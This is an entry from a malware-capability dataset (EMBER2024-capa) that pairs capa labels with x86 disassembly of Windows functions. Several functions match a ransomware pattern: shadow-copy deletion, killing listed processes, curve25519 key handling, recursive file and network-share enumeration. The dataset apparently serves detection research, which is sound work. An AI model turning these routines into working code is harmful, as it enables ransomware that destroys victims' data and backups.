joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f40
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x318], 0
je 0x401fd4
mov eax, dword [esp + 8]
push 0x43b7ac
push eax
call fcn.004221b5
add esp, 8
test eax, eax
mov dword [esi + 4], eax
je 0x401fc8
mov ecx, esi
call fcn.00401a60
mov ecx, dword [esi + 4]
push ecx
push 1
lea edx, [esi + 0x334]
push 0xc
push edx
call fcn.00422364
mov eax, dword [esi + 4]
push eax
push 1
lea ecx, [esi + 0x314]
push 1
push ecx
call fcn.00422364
mov edx, dword [esi + 4]
mov eax, dword [esi + 0x338]
mov ecx, dword [esi + 0x31c]
push edx
push eax
push 1
push ecx
call fcn.00422364
mov edx, dword [esi + 4]
push edx
push 1
lea eax, [esi + 0x340]
push 8
push eax
call fcn.00422364
add esp, 0x40
mov ecx, dword [esi + 4]
push ecx
call fcn.00422075
add esp, 4
mov eax, 1
pop esi
ret 4

Function at 0x402160
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402179
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4021b4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4021b0
lea ebx, [ebx]
cmp esi, eax
jae 0x4021b4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4021a0
cmp esi, eax
jb 0x4021ba
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x40aa0d
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40aa46
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004072e5
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004072c0
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]

Function at 0x40c554
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x40c597
call fcn.00410b0c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40c597
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40c5b2
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0040c10b
test ebx, ebx
mov esi, eax
je 0x40c5b0
test edi, edi
je 0x40c5b0
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x40d29a
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x438987
call fcn.00424253
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40d2bf
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40d30b
call fcn.004070cd
push eax
lea ecx, [ebp - 0x10]
call fcn.00401180
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040693c
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401030
mov eax, esi
call fcn.0042432b
ret 8

Function at 0x40f87c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x40f8c2
call fcn.00410b0c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40f8c2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x40f905
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x40f8ee
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40f8ee
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40f902
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41315a
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x413188
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4131a6
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004130c4
jmp 0x4131a6
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4131a6
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.004130c4
test edi, edi
mov eax, edi
jne 0x413190
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x4508c8]
test ecx, ecx
je 0x413269
jmp 0x413159
ret 8

Function at 0x421ef8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44b660]
jne 0x421f02
repz ret
jmp fcn.0042902c
Function at 0x433620
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00428a72
xor ebx, ebx
cmp dword [0x45161c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x4336f5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x433660
xor eax, eax
jmp 0x4337b9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x440cdc
push edi
call esi
cmp eax, ebx
je 0x433659
push eax
call fcn.00428a0f
mov dword [esp], 0x440ccc
push edi
mov dword [0x45161c], eax
call esi
push eax
call fcn.00428a0f
mov dword [esp], 0x440cb8
push edi
mov dword [0x451620], eax
call esi
push eax
call fcn.00428a0f
mov dword [0x451624], eax
lea eax, [ebp - 8]
push eax
call fcn.00425f51
test eax, eax
pop ecx
pop ecx
je 0x4336c3
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00422e7f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x4336f5
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00428a0f
cmp eax, ebx
pop ecx
mov dword [0x45162c], eax
je 0x4336f5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00428a0f
pop ecx
mov dword [0x451628], eax
mov eax, dword [0x451628]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x43376e
cmp dword [0x45162c], esi
je 0x43376e
push eax
call fcn.00428a7b
pop ecx
call eax
cmp eax, ebx
je 0x43373b
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x45162c]
call fcn.00428a7b
pop ecx
call eax
test eax, eax
je 0x43373b
test byte [ebp - 0x18], 1
jne 0x43376e
lea eax, [ebp - 0xc]
push eax
call fcn.00425f88
test eax, eax
pop ecx
je 0x433756
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00422e7f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x433765
or dword [ebp + 0x10], 0x200000
jmp 0x43379f
or dword [ebp + 0x10], 0x40000
jmp 0x43379f
mov eax, dword [0x451620]
cmp eax, esi
je 0x43379f
push eax
call fcn.00428a7b
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x43379f
mov eax, dword [0x451624]
cmp eax, esi
je 0x43379f
push dword [ebp - 4]
push eax
call fcn.00428a7b
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x45161c]
call fcn.00428a7b
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x437556
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x44b660]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.004374eb
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004221d0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x4375a5
cmp dword [ebp - 0x1c], 5
jb 0x4375bd
jmp 0x4375b9
cmp dword [ebp - 0x10], 1
jne 0x4375bd
cmp dword [ebp - 0x1c], 4
ja 0x4375b9
jne 0x4375bd
cmp dword [ebp - 0x18], 0
jbe 0x4375bd
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x441588
call fcn.004373bf
test eax, eax
jge 0x4375de
mov byte [0x44cb0c], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00421ef8
add ebp, 0x78
leave
ret
Function at 0x4044a0
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov dword [ebp - 0x84], 0x401590
mov dword [ebp - 0x80], 0x401598
mov dword [ebp - 0x7c], 0x4015a0
mov dword [ebp - 0x78], 0x4015a8
mov dword [ebp - 0x74], 0x4015b0
mov dword [ebp - 0x70], 0x4015b8
mov dword [ebp - 0x6c], 0x4015c0
mov dword [ebp - 0x68], 0x4015c8
mov dword [ebp - 0x64], 0x4015d0
mov dword [ebp - 0x60], 0x4015d8
mov dword [ebp - 0x5c], 0x4015e0
mov dword [ebp - 0x58], 0x4015e8
mov dword [ebp - 0x54], 0x4015f0
mov dword [ebp - 0x50], 0x4015f8
mov dword [ebp - 0x4c], 0x401600
mov dword [ebp - 0x48], 0x401608
mov dword [ebp - 0x44], 0x401610
mov dword [ebp - 0x40], 0x401618
mov dword [ebp - 0x3c], 0x401620
mov dword [ebp - 0x38], 0x401628
mov dword [ebp - 0x34], 0x401630
mov dword [ebp - 0x30], 0x401638
mov dword [ebp - 0x2c], 0x401640
mov dword [ebp - 0x28], 0x401648
mov dword [ebp - 0x24], 0x401650
mov dword [ebp - 0x20], 0x401658
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0x78
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
jmp 0x404589
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x1a
jge 0x4045c4
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + ecx*4 - 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x4045c2
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + ecx*4 - 0x84]
mov dword [ebp + eax*4 - 0xec], edx
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x404580
mov ecx, 2
imul edx, ecx, 0
xor eax, eax
mov word [ebp + edx - 0x2f4], ax
push 0x10000
call fcn.00412e00
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4046c4
push 0x10000
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4046b8
push 0x8000
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], 0
jbe 0x404685
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x2f4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x404665
lea eax, [ebp - 0x2f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
jne 0x404665
mov ecx, 2
imul edx, ecx, 0
xor eax, eax
mov word [ebp + edx - 0x2f4], ax
jmp 0x404687
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + eax*4 - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
jmp 0x404687
jmp 0x4046a2
push 0x8000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x40461c
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov edx, dword [ebp - 0x14]
push edx
call fcn.00412e30
add esp, 4
mov eax, dword [ebp - 8]
push eax
call fcn.00412e30
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x4046d0
Capabilities:
Create process on windows
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 0
call fcn.00404ad0
test eax, eax
je 0x404713
push 0x401680
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
push 0x401690
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x404713
lea ecx, [ebp - 8]
push ecx
call dword [ebp - 4]
push 0
push 0
push 0x4016b0
push 0x401708
push 0x401718
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00404ad0
test eax, eax
je 0x404764
push 0x401724
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14], eax
push 0x401734
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404764
mov eax, dword [ebp - 8]
push eax
call dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x4049b0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x23c], 0x22c
lea eax, [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call sub.KERNEL32.dll_Process32FirstW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404a6c
mov dword [ebp - 4], 0
jmp 0x4049fe
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0x1f
jae 0x404a54
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x4140b0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x404a52
mov eax, dword [ebp - 0x234]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x404a50
push 9
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404a54
jmp 0x4049f5
lea eax, [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call sub.KERNEL32.dll_Process32NextW
mov dword [ebp - 0x10], eax
jmp 0x4049e2
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x404a80
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x404ac4
push 0xf0000008
push 0x18
push 0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x404ac4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x404cd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4141e4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 0x10]
push eax
push 0x401754
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x4141e0]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push 0xe
push 0x401758
mov ecx, dword [0x4141e0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [0x4141e0]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x401768
mov ecx, dword [0x4141e0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [0x4141e0]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x401770
mov ecx, dword [0x4141e0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x4141e4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esp, ebp
pop ebp
ret

Function at 0x404e20
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov dword [ebp - 4], 0
jmp 0x404e3b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x20
jge 0x404e52
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov al, byte [ecx]
mov byte [ebp + edx - 0x24], al
jmp 0x404e32
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [ebp + edx - 0x24]
and eax, 0xf8
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x24], al
mov eax, 1
imul ecx, eax, 0x1f
movzx edx, byte [ebp + ecx - 0x24]
and edx, 0x7f
mov eax, 1
imul ecx, eax, 0x1f
mov byte [ebp + ecx - 0x24], dl
mov edx, 1
imul eax, edx, 0x1f
movzx ecx, byte [ebp + eax - 0x24]
or ecx, 0x40
mov edx, 1
imul eax, edx, 0x1f
mov byte [ebp + eax - 0x24], cl
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0xcc]
push edx
call fcn.00407bb0
add esp, 8
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x7c]
push edx
lea eax, [ebp - 0x16c]
push eax
call fcn.00408f60
add esp, 0x10
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x11c]
push edx
call fcn.00409290
add esp, 8
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x16c]
push ecx
lea edx, [ebp - 0x7c]
push edx
call fcn.00406e00
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00408190
add esp, 8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40a5e0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push 0
mov eax, dword [ebp + 8]
push eax
push 0x41422c
call fcn.00412f70
add esp, 0xc
test eax, eax
jne 0x40a638
lea ecx, [ebp - 0x1c]
push ecx
push 0
push 0x4141fc
call fcn.00412ed0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40a636
mov edx, dword [ebp - 0xc]
push edx
call fcn.00409740
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call fcn.00412e30
add esp, 4
jmp 0x40a600
jmp 0x40a5e9
push 0x10000
call fcn.00412e00
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40a7cf
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x403bc8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x26c]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x40a734
mov eax, dword [ebp - 0x26c]
and eax, 0x10
je 0x40a70c
mov dword [ebp - 8], 0
jmp 0x40a6aa
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0x22
jae 0x40a6d2
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x414130]
push eax
lea ecx, [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40a6d0
jmp 0x40a70c
jmp 0x40a6a1
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x403bd0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [ebp - 0x240]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040a5e0
add esp, 4
lea edx, [ebp - 0x26c]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40a68d
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x40a7c3
cmp dword [0x41425c], 0
je 0x40a7c3
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00412e00
add esp, 4
mov dword [ebp - 0x14], eax
push 0
push 0
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [ebp - 0x14]
push eax
push 0x403bd4
call fcn.00404cd0
add esp, 0xc
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00412e30
add esp, 4
mov edx, dword [ebp - 4]
push edx
call fcn.00412e30
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x40a8d0
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], 0x4000
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x13
push 0
push 2
call sub.MPR.dll_WNetOpenEnumW
test eax, eax
jne 0x40a99c
mov edx, dword [ebp - 8]
push edx
call fcn.00412e00
add esp, 4
mov dword [ebp + 8], eax
cmp dword [ebp + 8], 0
je 0x40a993
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MPR.dll_WNetEnumResourceW
test eax, eax
jne 0x40a987
mov dword [ebp - 4], 0
jmp 0x40a93f
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jae 0x40a985
mov eax, dword [ebp - 4]
shl eax, 5
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax + 0xc]
and edx, 2
je 0x40a96d
mov eax, dword [ebp - 4]
shl eax, 5
add eax, dword [ebp + 8]
push eax
call fcn.0040a8d0
add esp, 4
jmp 0x40a983
mov ecx, dword [ebp - 4]
shl ecx, 5
mov edx, dword [ebp + 8]
mov eax, dword [edx + ecx + 0x14]
push eax
call fcn.0040a5e0
add esp, 4
jmp 0x40a936
jmp 0x40a914
mov ecx, dword [ebp + 8]
push ecx
call fcn.00412e30
add esp, 4
mov edx, dword [ebp - 0x10]
push edx
call sub.MPR.dll_WNetCloseEnum
mov esp, ebp
pop ebp
ret

Function at 0x40a9a0
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x10]
push edx
push 0xffffffffffffffff
lea eax, [ebp - 0x14]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
call sub.NETAPI32.dll_NetShareEnum
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40a9f1
cmp dword [ebp - 0xc], 0xea
jne 0x40aabe
mov edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
mov dword [ebp - 8], 1
jmp 0x40aa09
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x10]
ja 0x40aab5
mov edx, dword [ebp - 4]
cmp dword [edx + 4], 0
je 0x40aa2a
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0x80000000
jne 0x40aaa7
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jle 0x40aaa7
push 0x403bec
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40aaa7
push 0x403bfc
lea edx, [ebp - 0xe4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xe4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x403c04
lea edx, [ebp - 0xe4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0xe4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0xe4]
push eax
call fcn.0040a5e0
add esp, 4
mov ecx, dword [ebp - 4]
add ecx, 0xc
mov dword [ebp - 4], ecx
jmp 0x40aa00
mov edx, dword [ebp - 0x14]
push edx
call sub.NETAPI32.dll_NetApiBufferFree
cmp dword [ebp - 0xc], 0xea
je 0x40a9be
mov esp, ebp
pop ebp
ret